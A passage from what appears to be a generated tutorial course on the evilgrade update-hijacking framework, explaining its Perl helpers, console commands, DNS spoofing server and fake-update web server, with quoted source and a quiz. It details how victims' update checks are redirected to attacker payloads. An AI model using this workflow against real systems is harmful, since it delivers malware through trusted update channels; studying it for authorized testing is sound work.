      push @result, $nostrict == 1 ? $_ : substr($_,0,$width);
      $line='';
    }
    ...
  }
  ...
}
  • Splits text on spaces and tries to accumulate words into $line.
  • $spc accounts for the space that would be added before the next word (0 for the first word).
  • When a single word is longer than $width and $nostrict is off, substr($_,0,$width) truncates it to fit. With $nostrict, it keeps the whole word even if it overflows.

This is why setColWidth can keep columns narrow: addRow calls wrap on each cell before storing it.

Common Mistakes

  1. Adding columns after rows. setCols explicitly refuses to run once rows exist (unless scalar(@{$self->{tbl_rows}}) == 0). Learners try to tweak columns mid-build and get a silent failure or an error. Define all columns first, then add rows.

  2. Expecting getmd5/getsha256 to always return one value. On success getmd5 returns a single digest string, but on failure it returns ("md5-fail", 1) — a two-element list. If you assign to a scalar you'll only see the first element. Check for the -fail sentinel or capture the list: my ($dig, $err) = getmd5($file);.

  3. Assuming wrap never destroys text. By default wrap is strict — a word wider than the column is truncated with substr. Learners set a tight setColWidth and lose characters. Pass the $nostrict flag (or widen the column) when you can't afford truncation.

Real-World Use Case

Suppose you're writing a new evilgrade module that lists the modules an operator can load, each with a name, version, and target. Rather than hand-formatting columns, you create an isrcore::ASCIITable, call setCols('Module','Version','Target'), loop over your data calling addRow, and print $t for a clean console table. Meanwhile, if your module needs to verify a downloaded payload, you call isrcore::utils::getmd5($file) and compare against an expected hash — reusing the shared helper instead of reimplementing MD5 logic.

Next Steps

Next, explore how higher-level modules consume these helpers — particularly how the main console/agent code builds ASCIITable output for user-facing listings and how it chains random helpers into payload generation.

Lesson 3

Timing and Supporting Libraries

Timing and Supporting Libraries

Overview

Every long-running server needs two things beyond its core request-handling logic: a reliable way to measure and control time, and a toolbox of small utilities for generating data and verifying file integrity. In evilgrade, these responsibilities live in two vendored files—isrcore/Time/HiRes.pm and isrcore/utils.pm. This lesson explains why Time::HiRes is bundled with the project rather than relied upon from the system, how high-resolution timing supports server loops, and how the helper functions in utils.pm connect to the day-to-day operation of serving fake update payloads.

Key Concepts

High-Resolution Timing

Standard Perl's time() and sleep() operate at one-second granularity. Time::HiRes provides sub-second precision via usleep, nanosleep, gettimeofday, and interval timers (setitimer/getitimer).

  • Example: A server poll loop that needs to check for new connections every 100 milliseconds cannot express that with integer-second sleep. A high-resolution usleep(100_000) can.
  • In the code: isrcore/Time/HiRes.pm exports these functions on request and backs them with compiled C system calls through bootstrap Time::HiRes.

Vendored (Bundled) Dependencies

A vendored dependency is a third-party module shipped inside the repository instead of being installed separately. This guarantees a known, working version regardless of what the host system has.

  • Example: Like packing your own adapter when traveling instead of hoping the hotel has the right outlet—you control exactly what you get.
  • In the code: Time::HiRes is a well-known CPAN/core module, yet here it lives at isrcore/Time/HiRes.pm (note package Time::HiRes;, version 1.86), so evilgrade ships a specific, tested copy.

Compile-Time Capability Checks

Time::HiRes cannot guarantee every function exists on every platform. It checks at import time whether each requested function is actually implemented and fails loudly if not.

  • Example: A plug that refuses to connect if the voltage is wrong, rather than silently frying your device later.
  • In the code: The import subroutine tests d_usleep, d_nanosleep, etc., and calls Carp::croak if you ask for something unavailable.

Utility Library as a Shared Toolbox

isrcore::utils collects reusable helpers—random data generation and file hashing—into one package that modules across the server can call.

  • Example: A kitchen's shared drawer of common tools so each cook doesn't bring their own whisk.
  • In the code: isrcore/utils.pm defines RndAlpha, RndNum, RndChars, RndData, getmd5, and getsha256.

File Integrity via Hashing

Digest functions turn a file into a short, fixed-length fingerprint. Serving malicious updates often requires matching or reporting expected hashes.

  • Example: A tamper-evident seal on a package—if the fingerprint changes, the contents changed.
  • In the code: getmd5 and getsha256 use Digest::MD5 and Digest::SHA to produce hex digests of a file.

Code Walkthrough

Selective, platform-aware imports

# File: isrcore/Time/HiRes.pm
sub import {
    my $this = shift;
    for my $i (@_) {
    if (($i eq 'clock_getres'    && !&d_clock_getres)    ||
        ($i eq 'clock_gettime'   && !&d_clock_gettime)   ||
        ($i eq 'clock_nanosleep' && !&d_clock_nanosleep) ||
        ($i eq 'clock'           && !&d_clock)           ||
        ($i eq 'nanosleep'       && !&d_nanosleep)       ||
        ($i eq 'usleep'          && !&d_usleep)          ||
        ($i eq 'ualarm'          && !&d_ualarm)) {
        require Carp;
        Carp::croak("Time::HiRes::$i(): unimplemented in this platform");
    }
    }
    Time::HiRes->export_to_level(1, $this, @_);
}
  • for my $i (@_) iterates over each symbol the caller asked to import (e.g. use Time::HiRes qw(usleep)).
  • Each d_... probe is a flag set by the compiled backend indicating whether a given C call is available on the current OS.
  • If you request a function the platform cannot provide, Carp::croak aborts immediately with a clear message—at import/compile time rather than mid-run.
  • export_to_level(1, ...) finally installs the approved symbols into your namespace.

This is written defensively because timing calls map directly to OS system calls, which differ between Linux, Windows, and macOS. Failing early is far better than a server that mysteriously stalls.

Measuring elapsed time

# File: isrcore/Time/HiRes.pm
sub tv_interval {
    # probably could have been done in C
    my ($a, $b) = @_;
    $b = [gettimeofday()] unless defined($b);
    (${$b}[0] - ${$a}[0]) + ((${$b}[1] - ${$a}[1]) / 1_000_000);
}
  • $a and $b are array references of the form [seconds, microseconds] returned by gettimeofday().
  • If $b is omitted, it defaults to "right now," so you can measure from a start point to the present with one argument.
  • The result adds the whole-second difference to the microsecond difference divided by one million, producing a floating-point number of seconds.

This is the idiomatic way to time a server operation: capture [gettimeofday] before, then call tv_interval($t0) afterward.

Random data and file hashing

# File: isrcore/utils.pm
sub RndAlpha {
  my $size = int(shift());
  my @chars = @_ ? split('', shift) : ('A' .. 'Z', 'a' .. 'z', '0' .. '9');

  my $data;
  while($size--) {
    $data .= $chars[int(rand(@chars))];
  }
  return($data);
}
  • $size is coerced to an integer length.
  • @chars is either a caller-supplied character set (split into individual characters) or a default alphanumeric set.
  • The while($size--) loop appends one random character per iteration until the requested length is reached.
# File: isrcore/utils.pm
sub getmd5 {
  my ($file) = @_;
  open(FZ,$file) || return ("md5-fail",1);
  my $ctx = Digest::MD5->new;
  $ctx->addfile(*FZ);
  my $dig = $ctx->hexdigest;
  close(FZ);
  return $dig;
}
  • The file is opened; on failure it returns a two-element list ("md5-fail", 1) so callers can detect the error.
  • Digest::MD5->new creates a hashing context, addfile(*FZ) streams the file handle into it (memory-efficient for large files), and hexdigest produces the final hex string.
  • getsha256 is structurally identical but uses Digest::SHA->new(256).

Common Mistakes

Importing an unimplemented timing function

Learners write use Time::HiRes qw(nanosleep) on a platform without nanosleep, then are surprised by a compile-time croak. This happens because people assume all functions are always present. Avoid it by importing only what you need, and consider checking &Time::HiRes::d_nanosleep before relying on exotic calls—as the module's own documentation recommends.

Forgetting getmd5/getsha256 can return an error tuple

A caller might write my $hash = getmd5($file); and ignore that a failed open returns ("md5-fail", 1). In scalar context you'd get the string "md5-fail" and treat it as a real hash. Avoid it by checking the return value for the failure marker or capturing both elements in list context.

Misreading tv_interval arguments as plain numbers

Passing two gettimeofday() scalars instead of array references ([gettimeofday]) breaks the subtraction, since tv_interval expects [seconds, microseconds] refs. This happens because gettimeofday behaves differently in scalar vs. list context. Avoid it by always wrapping start points as my $t0 = [gettimeofday];.

Real-World Use Case

Imagine evilgrade is serving a spoofed update file to a victim and you want to confirm the payload hasn't been corrupted between staging and delivery, while also logging how long the transfer took. You'd call isrcore::utils::getsha256($payload_file) to fingerprint the file before sending, capture my $t0 = [gettimeofday] at the start of the response, and after the socket write completes call tv_interval($t0) to log the precise sub-second transfer duration. If you need a random session token for the fake update, RndAlpha(16) produces one instantly.

Next Steps

With timing and utilities understood, the natural next step is studying the main server loop itself—where gettimeofday/usleep pace connection handling and the isrcore::utils helpers are invoked to build and validate the payloads being served.

Lesson 4

The Console Command Set: Show, Status, and Attack Control

The Console Command Set: Show, Status, and Attack Control

Overview

This lesson explores how evilgrade's interactive console exposes its attack machinery through a small, well-defined set of commands. The file isrcore/shellz.pm implements a REPL-style shell where each user-typed command (like show modules or start) maps to a Perl subroutine prefixed with run_. Understanding this dispatch pattern and how show, status, start, stop, and restart control the DNS/web spoofing servers is essential: it's the operator's control panel for launching and monitoring the entire attack lifecycle.

Key Concepts

1. Command-to-Method Dispatch

  • Name: The shell converts a typed command into a method call by convention. A command named show is handled by a sub named run_show. This naming convention is enforced by the parent class isrcore::Shell.
  • Example: Like a web router mapping GET /users to a getUsers() handler — the framework translates input into the right function automatically.
  • In the code: shellz.pm declares use base qw(isrcore::Shell);, inheriting the dispatch logic, then defines handlers such as run_show, run_start, run_status, run_stop, and run_restart.

2. Shell State on $self

  • Name: The shell object carries all live state — the loaded modules, the web/DNS server handles, the current prompt path, and a dirty flag — as keys on $self.
  • Example: Like a session object in a web app holding the logged-in user and their current context between requests.
  • In the code: init stuffs $self->{'webserver'}, $self->{'dnsserver'}, $self->{'isrmain'}, $self->{'path'}, and $self->{'change'} so every command handler can reach them.

3. The show Subcommand Switchboard

  • Name: A single run_show handler branches on its argument to display modules, status, version, vhosts, active modules, or options.
  • Example: Like a kubectl get <resource> — one verb, many things it can display depending on the noun you give it.
  • In the code: run_show uses an if/elsif chain on $cmd to pick what to print.

4. Server Lifecycle via fork()

  • Name: Starting a server forks a child process; the parent records the child PID so it can later check status or kill it.
  • Example: Like a service manager (systemd) that launches a daemon in the background and tracks its PID for status/stop.
  • In the code: start_server calls fork(), runs the server in the child, and saves $self->{$server_type}->{'Base'}->{'child'} = $child in the parent.

5. Context-Sensitive Options (path)

  • Name: The path key indicates whether you're configuring a specific module or the global base. show options displays different data depending on it.
  • Example: Like a shell's current working directory changing what ls shows.
  • In the code: run_show's options branch checks if ($self->{'path'}) to choose between a module's Base and the global Base.

Code Walkthrough

The show switchboard

# isrcore/shellz.pm
sub run_show { 
    my $self = shift;
    my ($cmd) = @_;
    my $mods=0;
    if ($cmd eq "modules"){
    $self->{'isrmain'}->ptitle("List of modules");
    foreach my $module (sort(keys %{$self->{'isrmain'}->{'modules'}})){
        $self->{'isrmain'}->println("$module\n");
        $mods++;
    }
    $self->{'isrmain'}->println("- $mods modules available.\n\n");;
    $self->{'isrmain'}->println("\n");

    }elsif ($cmd eq "status"){
    $self->run_status($self);
    ...
    }elsif ($cmd eq "options"){
    $self->{'isrmain'}->ptitle("Display options");
    my $object;
    if ($self->{'path'}){
        $object = $self->{'isrmain'}->{'modules'}->{$self->{'path'}}->{'Base'};
        ...
    }else{
        $object = $self->{'isrmain'}->{'Base'};
    }

    my $t = new isrcore::ASCIITable;
    $t->setCols(['Name','Default','Description']);
    foreach my $module (keys %{$object->{'options'}}){
        if (!$object->{'options'}->{$module}->{'hidden'}){ #Verify if it's a hidden option
        $t->addRow($module,$object->{'options'}->{$module}->{'val'},$object->{'options'}->{$module}->{'desc'});
        }
    }
    $self->{'isrmain'}->println($t->draw()."\n");
    }
}
  • my ($cmd) = @_; grabs the subcommand noun (modules, options, etc.).
  • The modules branch iterates the loaded module hash keys and counts them — a simple inventory listing.
  • The status branch delegates to run_status, so typing show status and status do the same thing.
  • The options branch selects $object based on $self->{'path'}: a module's config when inside a module, otherwise the global Base. It then builds an ASCIITable, skipping any option marked hidden, so operators see only meaningful tunables.

Starting servers with fork

# isrcore/shellz.pm
sub run_start {
    my $self = shift;
    my ($cmd) = @_;
    start_server( $self, "webserver",$cmd);
    start_server( $self, "dnsserver",$cmd) unless ( $self->{'isrmain'}->{'Base'}->{'options'}->{'DNSEnable'}->{'val'} == 0 );
}

sub start_server {
    my $self = shift;
    my $server_type = shift;
    my ($cmd) = @_;

    if ($self->{$server_type}->status()  ){
        $self->{'isrmain'}->println("$self->{$server_type}->{'Base'}->{'whoami'} : (pid $self->{$server_type}->{'Base'}->{'child'}) already running\n");
        return;
    }
    my $response = $self->{$server_type}->loadconfig($self->{'isrmain'});
    if ($response != 1){ #error loadconfig
        $self->{'isrmain'}->println($response);
        return;
    }
    ...
    die "Can't fork: $!" unless defined ($child = fork());
    if ($child==0) {
        ...
        $self->{$server_type}->start($self);
        ...
        exit 0;
   }
  $self->{$server_type}->{'Base'}->{'child'} = $child;
}
  • run_start fires both servers, but DNS is skipped entirely when the DNSEnable option is 0 — a conditional guard you'll see repeated in run_stop and run_status.
  • start_server is parameterized by $server_type ("webserver"/"dnsserver"), so one routine handles both. It first guards against double-starts via status(), then loads config.
  • fork() splits the process: the child ($child==0) runs the blocking start loop and exits when done; the parent records the child PID in Base->{'child'} so later status/stop can find it.

Status and stop

# isrcore/shellz.pm
sub get_status {
    my $self = shift;
    my $server_type = shift;
    if ($self->{$server_type}->status()){
        $self->{'isrmain'}->println("$self->{$server_type}->{'Base'}->{'whoami'} :  (pid $self->{$server_type}->{'Base'}->{'child'}) already running\n");
    }
    else{
        $self->{'isrmain'}->println("$self->{$server_type}->{'Base'}->{'whoami'} :  stopped.\n");
    }
}
sub run_status{
    my $self = shift;
    get_status($self,"webserver");
    get_status($self,"dnsserver") unless ( $self->{'isrmain'}->{'Base'}->{'options'}->{'DNSEnable'}->{'val'} == 0 );
    ...
}

sub run_restart {
    my $self = shift;
    $self->run_stop();
    $self->run_start();
}
  • run_status reports each server's running/stopped state, then (in code elided above) builds a per-client table of which victims hit which module and the resulting payload hashes.
  • Note the same get_status/stop_server/start_server helper pattern — status, stop, and start all share the DNS-enable guard, keeping behavior consistent.
  • run_restart is simply run_stop followed by run_start — a composition of existing commands rather than new logic.

Common Mistakes

1. Expecting option changes to take effect immediately

  • Mistake: Running set while a server is running and assuming the live server picks up the new value.
  • Why it happens: run_set only updates $$object->{$cmd}->{'val'} and sets $self->{'change'}=1; it even has a #TODO: Message required webserver restart comment. Config is read at loadconfig time during start.
  • How to avoid: After set, run restart so start_server's loadconfig call re-reads your values.

2. Forgetting the DNSEnable guard

  • Mistake: Wondering why start/status/stop seem to ignore the DNS server.
  • Why it happens: Every lifecycle command wraps the DNS call in unless ( ...->{'DNSEnable'}->{'val'} == 0 ). If that option is 0, the DNS server is silently never touched.
  • How to avoid: Check show options for DNSEnable before assuming DNS spoofing is active.

3. Assuming show status and status differ

  • Mistake: Hunting for a separate status display behind show.
  • Why it happens: The show status branch in run_show just calls $self->run_status($self).
  • How to avoid: Recognize the delegation — they're identical.

Real-World Use Case

You're running a controlled penetration test where you need to impersonate an application's update server. You launch evilgrade, type show modules to confirm the target's update module is loaded, configure <module> to enter it, show options to review its settings, and set the payload path. You then run start to fork the web (and DNS, if enabled) servers. As test machines check for updates, you repeatedly type status to watch the client table populate with victim IPs, the module they triggered, and payload hashes — giving you live confirmation the spoofing attack is working.

Next Steps

Having seen how commands are dispatched and how servers are forked, explore isrcore/webserver.pm and isrcore/dnsserver.pm to understand what start, stop, and status actually do inside each server — and study console_cmd to see how the forked child reports victim activity back to the parent shell.

Lesson 5

Managing Virtual Hosts, Reloading, and Versioning from the Console

Managing Virtual Hosts, Reloading, and Versioning from the Console

Overview

When operating a tool like isr-evilgrade, an operator spends much of their time inside an interactive shell—inspecting which fake virtual hosts are being served, refreshing module/configuration state after edits, and confirming which version of the tool they're running. This lesson walks through three small but essential console commands (vhosts, reload, and version) as implemented in isrcore/shellz.pm. Understanding these commands teaches you how the shell handler reaches into the engine's live state—the DNS server, the main engine object, and the module registry—to give the operator visibility and control during an active engagement.

Key Concepts

1. The Shell Handler Holds the Engine State

The shell object ($self) is a central hub that stores references to every major subsystem. After init runs, $self carries handles to the webserver, dnsserver, main engine, and metadata like the version string.

  • Example: Think of $self as the cockpit dashboard of a plane—every gauge and control is wired back to a real system elsewhere in the aircraft.
  • In the code: init populates these handles:
$self->{'dnsserver'}=$dnsserver;    
$self->{'webserver'}=$webserver;
$self->{'isrmain'}=$isrmain;
$self->{'VERSION'}="2.0.1";    

Every command method (run_vhosts, run_reload, run_version) later reads from these fields, which is why they can report live state without re-initializing anything.

2. Virtual Hosts Live in the DNS Server's Domain Table

A "vhost" here is a fake domain the tool is configured to impersonate. That mapping is stored in the DNS server object, not the shell itself.

  • Example: Like a hotel switchboard that keeps a list of which room extensions it will answer—vhosts dumps that whole list so you can confirm what the tool will respond to.
  • In the code: run_vhosts reaches through the dnsserver handle into its Base config:
sub run_vhosts{
    my $self = shift;
    my ($cmd) = @_;
    $self->{'isrmain'}->ptitle("Virtual hosts");
    print $self->{'isrmain'}->println(dump($self->{'dnsserver'}->{'Base'}->{'domains'}));
}

3. Reloading Re-runs Module Loading Against the Engine

reload doesn't restart the servers—it re-reads the module definitions into the engine so that edits to module files take effect without quitting the shell.

  • Example: Like hitting "refresh" in a browser to pick up a changed file, instead of closing and reopening the browser.
  • In the code: run_reload simply delegates to the engine's loadmodules:
sub run_reload { 
    my $self = shift;
    $self->{'isrmain'}->println("reload\n");
    $self->{'isrmain'}->loadmodules();
}

4. Commands Are Dispatched by Name

The shell framework maps a typed command to a run_<command> method. Some commands are also reachable indirectly through show, which routes subcommands to the same handlers.

  • Example: Like a phone menu where "press 2" and a direct extension both reach the same department.
  • In the code: run_show routes several subcommands to the dedicated handlers:
}elsif ($cmd eq "version"){
    $self->run_version($self);

}elsif ($cmd eq "vhosts"){
    $self->run_vhosts($self);

So show version and version end up calling run_version.

Code Walkthrough

Inspecting Virtual Hosts

File: isrcore/shellz.pm

sub run_vhosts{
    my $self = shift;
    my ($cmd) = @_;
    $self->{'isrmain'}->ptitle("Virtual hosts");
    print $self->{'isrmain'}->println(dump($self->{'dnsserver'}->{'Base'}->{'domains'}));
}
  • my $self = shift; pulls the shell object off the argument stack—this gives access to all the engine handles.
  • $self->{'isrmain'}->ptitle("Virtual hosts"); prints a formatted title header through the main engine's output helper, keeping output style consistent across commands.
  • dump($self->{'dnsserver'}->{'Base'}->{'domains'}) uses Data::Dump to render the raw domains hash. The data path—dnsserver → Base → domains—shows that vhost configuration is owned by the DNS subsystem, and the shell is merely a viewer.

Note the slightly redundant print ... println(...); println already handles output, so the extra print is harmless but not idiomatic. This is why the command is read-only despite its name suggesting management: it displays state rather than mutating it.

Reporting the Version

File: isrcore/shellz.pm

sub run_version{
    my $self = shift;
    my ($cmd) = @_;
    $self->{'isrmain'}->println("version " . $self->{'VERSION'}."\n");
}
  • The version string was set once in init ($self->{'VERSION'}="2.0.1";) and is read back here.
  • Output goes through $self->{'isrmain'}->println, the same channel everything else uses, so the version line appears in whatever console/log the engine routes to.

This separation—set in init, read in run_version—means the version is defined in exactly one place, which is the correct pattern for a single source of truth.

Reloading Modules

File: isrcore/shellz.pm

sub run_reload { 
    my $self = shift;
    $self->{'isrmain'}->println("reload\n");
    $self->{'isrmain'}->loadmodules();
}
  • It echoes reload for operator feedback, then calls loadmodules() on the engine.
  • Compare this to init, which checks the return value of loadmodules():
my $ret = $isrmain->loadmodules();
if ($ret != 1){ # loadmodules error
    $isrmain->println($ret);
    exit;
}

run_reload does not check the return value—a meaningful difference discussed below.

Common Mistakes

1. Expecting reload to Apply New set Options to Running Servers

run_reload only re-runs loadmodules(). It does not restart the webserver or dnsserver, so option changes made with set that require a server restart won't take effect. Notice the run_set comment hinting at this:

$self->{'change'}=1;
$$object->{$cmd}->{'val'} =$value; #TODO: check exists val
#TODO: Message required webserver restart

How to avoid it: After changing server-affecting options, use restart (which calls run_stop then run_start), not reload.

2. Assuming reload Reports Failures

Unlike init, run_reload ignores the return value of loadmodules(). If a module has a syntax error, the shell may silently continue with a stale or partial module set. Learners assume "no error shown = success."

How to avoid it: After reloading, verify with show modules (which iterates $self->{'isrmain'}->{'modules'}) to confirm the expected modules are present.

3. Confusing vhosts (DNS domains) with Active Modules

The vhosts command reads from the DNS server's domains, while active attack modules live in the webserver's current list (shown via show active). Learners often run vhosts expecting to see loaded exploit modules.

How to avoid it: Remember the ownership: vhosts = DNS domain table; active modules = webserver state. They are different subsystems reached through different handles on $self.

Real-World Use Case

You're mid-engagement and have just edited a module definition file to add a new fake update URL. Rather than killing the console and losing your running servers and connected-client state, you type reload to pull in the edited module, then show modules to confirm it loaded. Next you run vhosts to verify the DNS server is set to answer for the domain your target will resolve, and finally version to note which tool build you're on for your engagement report. All three commands read live engine state through the single $self shell object—no restart required for the module change.

Next Steps

This lesson covered read/refresh commands that observe engine state; the natural follow-on is the server lifecycle commands (run_start, run_stop, run_restart, and run_status), which actually fork processes and mutate the running webserver and dnsserver.

📝 Module Quiz

Answer all questions to check your understanding. 70% to pass.

Q1. Why does evilgrade scan a directory and dynamically load every .pm file at startup instead of hardcoding a list of attack modules?

Q2. An operator types 'show status' and also 'status' at the console and gets identical output. Based on the dispatch design, why does this happen?

Q3. An operator edits a module file, then runs 'set' to change a payload option on a running server, expecting the live server to immediately use the new value. Why doesn't this work, and what is the correct remedy?

Q4. In loadmodules, why is the line 'delete $INC{...}' executed before calling 'do($base)' on each module file?

Q5. A developer refactors loadmodules to return the number of modules ($mods) on success instead of returning 1, and the startup error-handling in init silently breaks. What is the underlying reason?

Module 3

Network Services: DNS and Web Servers

Learn how Evilgrade serves fake updates via its built-in DNS and HTTP(S) servers.

Lesson 1

The Built-in DNS Server

The Built-in DNS Server

Overview

Evilgrade is a framework for exploiting insecure software update mechanisms. A core part of the attack is convincing a victim's machine that the update server lives at an attacker-controlled IP address. This lesson explains how evilgrade's built-in DNS server accomplishes that by answering DNS queries with forged (spoofed) responses. You'll learn how the three DNS modules fit together, trace a query from socket to response, and understand how hostname-to-IP redirection is configured from a module's virtual-host list. This matters because DNS spoofing is the "redirection primitive" that makes the rest of the update-hijacking attack possible.

Key Concepts

1. Authoritative Spoofing

  • Name: Instead of resolving names honestly, the server claims authority over any domain and returns a fixed attacker-controlled IP.
  • Example: Imagine a mail clerk who stamps "I am the official address book" on every reply and sends every visitor to the same building, regardless of who they asked for.
  • In the code: In do_dns_request, the response flags always get AA_MASK (authoritative answer) set, and when nothing matches, the server still fabricates an T_A answer rather than returning NXDOMAIN.

2. Static Answer Registration

  • Name: Target hostnames are pre-loaded into a lookup table mapping domain -> type -> packed answer.
  • Example: A receptionist keeps a cheat-sheet of "if anyone asks for X, send them here" notes prepared before the day starts.
  • In the code: add_static in DNSserver.pm builds $self->{static}->{$domain}->{$type}, and dnsserver.pm's start calls it for each configured vhost with the attacker IP.

3. Wire-Format Encoding

  • Name: DNS answers must be packed into the exact binary layout the protocol expects (type, class, TTL, length, rdata).
  • Example: Filling out a rigid government form where every field has a fixed byte position—put a digit in the wrong column and the whole form is rejected.
  • In the code: dns_answer and rr_A in DNS.pm use Perl's pack to produce the binary record.

4. Static vs. Dynamic Handlers

  • Name: Queries are checked first against static entries, then against dynamic callback handlers registered per-domain.
  • Example: First check the pre-written cheat-sheet; if nothing's there, call a specialist who computes an answer on the fly.
  • In the code: do_dns_request calls check_static(...) then check_dynamic(...); the latter walks domain labels looking for a registered handler.

5. Config-Driven Redirection

  • Name: The set of domains to hijack and the IP to redirect to come from evilgrade's runtime configuration, not hardcoded values.
  • Example: A switchboard operator reads today's redirect list off a printed memo rather than memorizing it.
  • In the code: loadconfig in dnsserver.pm pulls DNSAnswerIp and each enabled module's vh (virtual hosts) into $self->{'Base'}->{'domains'}.

Code Walkthrough

Loading which domains to spoof

# isrcore/dnsserver.pm
sub loadconfig{
    my $self=shift;
    my $config=shift;
    my $vhosts;
    my @domains = ();
    $self->{'Base'}->{'port'}=$config->{'Base'}->{'options'}->{'DNSPort'}->{'val'};
    $self->{'Base'}->{'enable'}=$config->{'Base'}->{'options'}->{'DNSEnable'}->{'val'};
    $self->{'Base'}->{'resolve_to'}=$config->{'Base'}->{'options'}->{'DNSAnswerIp'}->{'val'};

    # load VHOSTS
     foreach my $name (keys %{$config->{'modules'}}){
             my $module = $config->{'modules'}->{$name};
             if ($module->{'Base'}->{'options'}->{'enable'}->{'val'} == 1) {
             $vhosts = $module->{'Base'}->{'vh'};
             $vhosts =~ s/\(|\)//g;
             push(@domains,split(/\|/,$vhosts));
         }
         }
    $self->{'Base'}->{'domains'} = \@domains;
    return 1;
}
  • The three $self->{'Base'}->{...} lines copy port, enable flag, and the redirect IP out of config.
  • The loop iterates every module. Only modules with enable == 1 contribute domains.
  • $module->{'Base'}->{'vh'} is a string of virtual hosts like (update.example.com|foo.example.com). The s/\(|\)//g strips parentheses, and split(/\|/, ...) turns it into individual hostnames.
  • Everything is collected into @domains, stored by reference. This is why enabling a module automatically arms DNS spoofing for its target hostnames—you don't configure the DNS server directly.

Arming the server and starting the loop

# isrcore/dnsserver.pm (inside start)
    my $resolve_ip = unpack('N',inet_aton($self->{'Base'}->{'resolve_to'})  );
    my $vhost;
    foreach $vhost ( @{$self->{'Base'}->{'domains'}} ){
    $nserver->add_static($vhost, T_A, rr_A($resolve_ip));
    $nserver->add_static($vhost, T_AAAA, rr_A($resolve_ip));
    }

   while(1) {
        if( $nserver->answer_queries() == 0 ){
        $self->{'Base'}->{'error'} = "...Error Initiating DNS Server";
        return 0;
        }
     }
  • inet_aton converts the dotted-quad redirect IP to packed bytes; unpack('N', ...) turns those into a 32-bit integer because that's what rr_A expects.
  • For every hijacked hostname, a static answer is registered for both T_A (IPv4) and T_AAAA (IPv6). Note both use rr_A—an IPv4 record is reused for the AAAA slot, a quirk worth remembering.
  • answer_queries() normally never returns; the while(1) only loops to restart if it reports failure (returns 0).

Fabricating a response when nothing matches

# isrcore/Stanford/DNSserver.pm (inside do_dns_request)
    if ($self->check_static ($qname,$qtype,$qclass,\%dnsmsg) or
    $self->check_dynamic($qname,$qtype,$qclass,\%dnsmsg,$from)) {
     $flags |= QR_MASK | AA_MASK | $dnsmsg{rcode};

    } else {

        $flags |= QR_MASK | AA_MASK | 0;
        my $resolve_ip = unpack('N',inet_aton($qname));
        $dnsmsg{answer} = dns_answer(QPTR,T_A,C_IN,60,rr_A($resolve_ip));
        $dnsmsg{ancount}+=1;
    }
  • check_static runs first; check_dynamic is the fallback. Either sets QR_MASK (this is a response) and AA_MASK (authoritative).
  • The else branch is the catch-all: even for a name not in the hijack list, it tries inet_aton($qname). This only produces something meaningful if $qname happens to be a literal IP string; otherwise the answer is garbage. The important takeaway is that the server never cleanly declines—its design assumes it is the only resolver the victim talks to.
  • dns_answer(QPTR, T_A, C_IN, 60, rr_A(...)) builds the binary record: a pointer back to the question name, an A record, Internet class, 60-second TTL.

Common Mistakes

1. Expecting DNS to work without enabling a module

Learners configure DNSAnswerIp and DNSEnable but forget that the domain list comes entirely from enabled modules. If no module is enabled, @domains is empty and nothing gets a static answer. Avoid this by enabling the attack module before checking loadconfig populated domains.

2. Confusing the IP integer format

rr_A expects a 32-bit integer (via pack('N', shift)), not a dotted string. Passing "127.0.0.1" directly produces a corrupt record. This happens because the conversion (unpack('N', inet_aton(...))) is done by the caller, not inside rr_A. Always convert with inet_aton + unpack('N', ...) first.

3. Assuming unmatched queries fail gracefully

Because of the else branch in do_dns_request, non-matching names don't get NXDOMAIN—they get a bogus A record from inet_aton($qname). Learners debugging "why did this hostname resolve weirdly?" should know the server is designed to always answer, not to behave like a correct recursive resolver.

Real-World Use Case

You're running an authorized penetration test and want to demonstrate that a desktop application's auto-updater trusts whatever server DNS points it to. You enable the matching evilgrade module (which defines its target update hostnames in vh), set DNSAnswerIp to your machine's IP, and DNSEnable to 1. When you start evilgrade, loadconfig harvests the module's hostnames, start registers them as static A/AAAA records pointing at you, and answer_queries begins listening on port 53. Once the victim machine uses your box as its DNS server, its update check resolves to you, and your malicious "update" payload is served—proving the insecure-update finding.

Next Steps

With redirection working, the next concept to study is the built-in web/update server that actually serves the malicious payload once DNS has steered the victim to you—see how module agents and vh definitions connect the DNS layer to payload delivery.

Lesson 2

The WebServer and HTTP Request Handling

The WebServer and HTTP Request Handling

Overview

This lesson explores how evilgrade's web server component serves malicious update payloads to vulnerable clients. Evilgrade works by impersonating legitimate update servers—when a target application checks for updates, evilgrade responds with a crafted payload (a "fake update") that typically delivers an attacker-controlled executable. Understanding webserver.pm and main.pm is essential because together they form the core request-handling pipeline: main.pm discovers and loads attack modules, while webserver.pm matches incoming HTTP requests against those modules' virtualhost and user-agent rules to decide which fake payload to serve. This is the heart of how the tool decides who gets what.

Key Concepts

1. Module Loading via Dynamic do()

main.pm scans a modules directory at runtime and loads each .pm file dynamically, instantiating a module object for each one. This lets evilgrade support arbitrary attack targets without hardcoding them.

  • Example: Like a plugin folder in a browser—drop in a new plugin file, restart, and it's available.
  • In the code: loadmodules in main.pm reads the modules directory, calls do($base) on each file, then $object->new() to create an instance stored in $self->{'modules'}.

2. Config Loading and Agent Validation

Before serving, each enabled module is validated: its payload ("agent") file must exist, and its size, MD5, and SHA256 are precomputed. This metadata is often required so the fake update's manifest matches the payload the client expects.

  • Example: A package manager verifying a download's checksum before installing—except here evilgrade computes those checksums so its fake manifest looks authentic.
  • In the code: loadconfig and loadmodule in webserver.pm populate agentsize, agentmd5, and agentsha256 options.

3. Virtualhost (vh) Matching

Multiple modules can be active at once. To decide which module answers a given request, the server compares the HTTP Host: header (the virtualhost) against each module's configured vh.

  • Example: A reverse proxy routing api.example.com and www.example.com to different backends based on the Host header.
  • In the code: response in webserver.pm extracts $vh from the Host: header, then loops over $self->{'request'} comparing $module->{'Base'}->{'vh'} against $vh.

4. User-Agent as a Secondary Match

Some modules need to distinguish clients by their User-Agent string (e.g., only a specific updater version is vulnerable). The server captures the User-Agent so a module can match on it when the virtualhost alone isn't enough.

  • Example: Serving a different page to mobile vs. desktop browsers based on User-Agent.
  • In the code: response captures $useragent and checks $module->{'Base'}->{'useragent'} during matching.

5. Fork-per-Connection with Optional SSL Promotion

Each accepted connection is handled in a forked child process, and connections on the SSL port are "promoted" to TLS after the fork, using a bundled certificate.

  • Example: A traditional Unix daemon that forks a worker per client so slow clients don't block others.
  • In the code: accept_client in webserver.pm calls fork() and, in the child, optionally runs IO::Socket::SSL->start_SSL.

Code Walkthrough

Dynamically loading modules (isrcore/main.pm)

my @files = grep(!/(^\.\.?$|^\.svn$)/,readdir(DIR));
closedir(DIR);

my $modules;
my $mods=0;
foreach my $f (@files)
{
